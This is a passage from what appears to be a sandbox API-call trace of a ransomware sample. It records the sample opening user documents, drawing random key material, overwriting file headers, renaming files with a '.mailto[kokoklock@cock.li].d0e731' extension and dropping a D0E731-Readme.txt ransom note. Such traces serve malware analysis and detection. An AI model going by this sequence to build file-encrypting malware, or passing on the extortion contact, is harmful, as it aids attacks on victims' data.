lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2a33fa7c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2a33fa7c*=0x6c, lpOverlapped=0x0) returned 1 [0083.762] WriteFile (in: hFile=0x6a0, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a33fa7c, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x2a33fa7c*=0x20, lpOverlapped=0x0) returned 1 [0083.762] WriteFile (in: hFile=0x6a0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a33fa7c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2a33fa7c*=0x4, lpOverlapped=0x0) returned 1 [0083.762] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0083.762] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d550) returned 1 [0083.762] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.762] CloseHandle (hObject=0x6a0) returned 1 [0083.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf4) returned 0x33e8ed0 [0083.762] wcscpy (in: _Dest=0x33e8ed0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt" [0083.762] wcscat (in: _Dest=0x33e8ed0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731" [0083.762] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\pnzqgm5vjqyxu.ppt"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\pnzqgm5vjqyxu.ppt.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.899] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.899] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8ed0) returned 1 [0084.899] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt", dwFileAttributes=0x20) returned 0 [0084.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x3431100 [0084.899] wcscpy (in: _Dest=0x3431100, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0084.899] wcscat (in: _Dest=0x3431100, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" [0084.899] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\d0e731-readme.txt")) returned 0x20 [0084.909] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431100) returned 1 [0084.909] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430e00) returned 1 [0084.909] RtlExitUserThread (Status=0x1) Thread: id = 1198 os_tid = 0x1378 [0083.763] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\qlbul.ods")) returned 0x20 [0083.763] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods", dwFileAttributes=0x20) returned 1 [0083.763] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\qlbul.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0083.764] GetFileSizeEx (in: hFile=0x69c, lpFileSize=0x2a3bf788 | out: lpFileSize=0x2a3bf788*=34957) returned 1 [0083.764] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x8889, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.764] ReadFile (in: hFile=0x69c, lpBuffer=0x2a3bf75c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a3bf758, lpOverlapped=0x0 | out: lpBuffer=0x2a3bf75c*, lpNumberOfBytesRead=0x2a3bf758*=0x4, lpOverlapped=0x0) returned 1 [0083.765] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d550 [0083.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0083.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5a0 [0083.765] NtQuerySystemTime (in: CurrentTime=0x2a3bf734 | out: CurrentTime=0x2a3bf734*=132121176416641548) returned 0x0 [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x9c971d24 [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x3008f111 [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x860823a0 [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0xb2f0938b [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x978313e7 [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x8d8aac04 [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x33092bfd [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0xa12b8dc1 [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x2d75d5bd [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x280d03ed [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x8e640047 [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x684a3ecb [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x3980031d [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x6d56c5f3 [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0xd0584f83 [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0xfb4ed9a4 [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x7cb691e8 [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x7ab41b15 [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x8091d5e6 [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0xceafb461 [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0xc482a102 [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x1ef6915e [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0xfcb7356f [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0xef3cd273 [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0xe1a4be5a [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x94576c6a [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x1fd06a1b [0083.765] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0xc6c62800 [0083.766] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x5d1e6bba [0083.766] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x653001a3 [0083.766] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x2d45d1c2 [0083.766] RtlRandom (in: Seed=0x2a3bf740 | out: Seed=0x2a3bf740) returned 0x91e56d83 [0083.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0083.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d550) returned 1 [0083.776] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.776] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.776] ReadFile (in: hFile=0x69c, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2a3bf70c, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2a3bf70c*=0x4096, lpOverlapped=0x0) returned 1 [0083.776] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.776] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0083.776] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34806d8 [0083.776] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d230 [0083.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d230) returned 1 [0083.777] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.777] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d550 [0083.777] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d230 [0083.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d230) returned 1 [0083.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34806d8) returned 1 [0083.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0083.777] WriteFile (in: hFile=0x69c, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2a3bf70c, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2a3bf70c*=0x4096, lpOverlapped=0x0) returned 1 [0083.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.777] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x888d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.777] WriteFile (in: hFile=0x69c, lpBuffer=0x342d550*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a3bf744, lpOverlapped=0x0 | out: lpBuffer=0x342d550*, lpNumberOfBytesWritten=0x2a3bf744*=0x20, lpOverlapped=0x0) returned 1 [0083.778] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d550) returned 1 [0083.778] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.778] WriteFile (in: hFile=0x69c, lpBuffer=0x342d5c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2a3bf758, lpOverlapped=0x0 | out: lpBuffer=0x342d5c8*, lpNumberOfBytesWritten=0x2a3bf758*=0x8, lpOverlapped=0x0) returned 1 [0083.778] WriteFile (in: hFile=0x69c, lpBuffer=0x2a3bf770*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a3bf758, lpOverlapped=0x0 | out: lpBuffer=0x2a3bf770*, lpNumberOfBytesWritten=0x2a3bf758*=0x4, lpOverlapped=0x0) returned 1 [0083.778] WriteFile (in: hFile=0x69c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a3bf758, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2a3bf758*=0x4, lpOverlapped=0x0) returned 1 [0083.778] WriteFile (in: hFile=0x69c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2a3bf758, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2a3bf758*=0x6c, lpOverlapped=0x0) returned 1 [0083.778] WriteFile (in: hFile=0x69c, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a3bf758, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x2a3bf758*=0x20, lpOverlapped=0x0) returned 1 [0083.778] WriteFile (in: hFile=0x69c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a3bf758, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2a3bf758*=0x4, lpOverlapped=0x0) returned 1 [0083.778] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0083.778] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.778] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5c8) returned 1 [0083.778] CloseHandle (hObject=0x69c) returned 1 [0084.892] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe4) returned 0x348a338 [0084.892] wcscpy (in: _Dest=0x348a338, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods" [0084.892] wcscat (in: _Dest=0x348a338, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods.mailto[kokoklock@cock.li].d0e731" [0084.892] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\qlbul.ods"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\qlbul.ods.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.902] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.902] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a338) returned 1 [0084.902] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\qlbuL.ods", dwFileAttributes=0x20) returned 0 [0084.902] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x3430a40 [0084.902] wcscpy (in: _Dest=0x3430a40, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0084.902] wcscat (in: _Dest=0x3430a40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" [0084.902] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\d0e731-readme.txt")) returned 0x20 [0084.909] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430a40) returned 1 [0084.909] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f06a0) returned 1 [0084.909] RtlExitUserThread (Status=0x1) Thread: id = 1199 os_tid = 0x9e0 [0083.779] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\seozxcv_rfu.rtf")) returned 0x20 [0083.779] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf", dwFileAttributes=0x20) returned 1 [0083.779] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\SEoZxCv_RfU.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\seozxcv_rfu.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0083.780] GetFileSizeEx (in: hFile=0x69c, lpFileSize=0x2a43f9b4 | out: lpFileSize=0x2a43f9b4*=32713) returned 1 [0083.780] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x7fc5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.780] ReadFile (in: hFile=0x69c, lpBuffer=0x2a43f988, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a43f984, lpOverlapped=0x0 | out: lpBuffer=0x2a43f988*, lpNumberOfBytesRead=0x2a43f984*=0x4, lpOverlapped=0x0) returned 1 [0083.780] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.780] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0083.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d550 [0083.781] NtQuerySystemTime (in: CurrentTime=0x2a43f960 | out: CurrentTime=0x2a43f960*=132121176416798096) returned 0x0 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x45151fc4 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x69b56ec5 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x8ea679f2 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x3624ea78 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x78f621ce [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0xeaaa75c8 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x97f3fa19 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x4463d796 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x317a8ec9 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x9d88d6ed [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x2401b4c0 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0xcf70f9b1 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x5cffdfdd [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0xd63470a0 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x5666b503 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x8865edc5 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x2ca1aad4 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0xa370b885 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x7131302a [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0xeffac6aa [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x6da3462 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0xed53d1eb [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x391b945d [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0xd23b5075 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0xf4f42d71 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0xa1acb72f [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x3f36ebe4 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0xa94396eb [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x99cd4a39 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x542a7473 [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x626a3bdf [0083.781] RtlRandom (in: Seed=0x2a43f96c | out: Seed=0x2a43f96c) returned 0x9b3f7e76 [0083.792] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0083.792] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.792] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.792] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.792] ReadFile (in: hFile=0x69c, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2a43f938, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2a43f938*=0x4096, lpOverlapped=0x0) returned 1 [0083.792] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.792] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0083.792] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0083.792] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5f0 [0083.792] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5f0) returned 1 [0083.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d6b8 [0083.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d230 [0083.793] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d230) returned 1 [0083.793] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0083.793] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0083.793] WriteFile (in: hFile=0x69c, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2a43f938, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2a43f938*=0x4096, lpOverlapped=0x0) returned 1 [0083.793] RtlFreeHeap 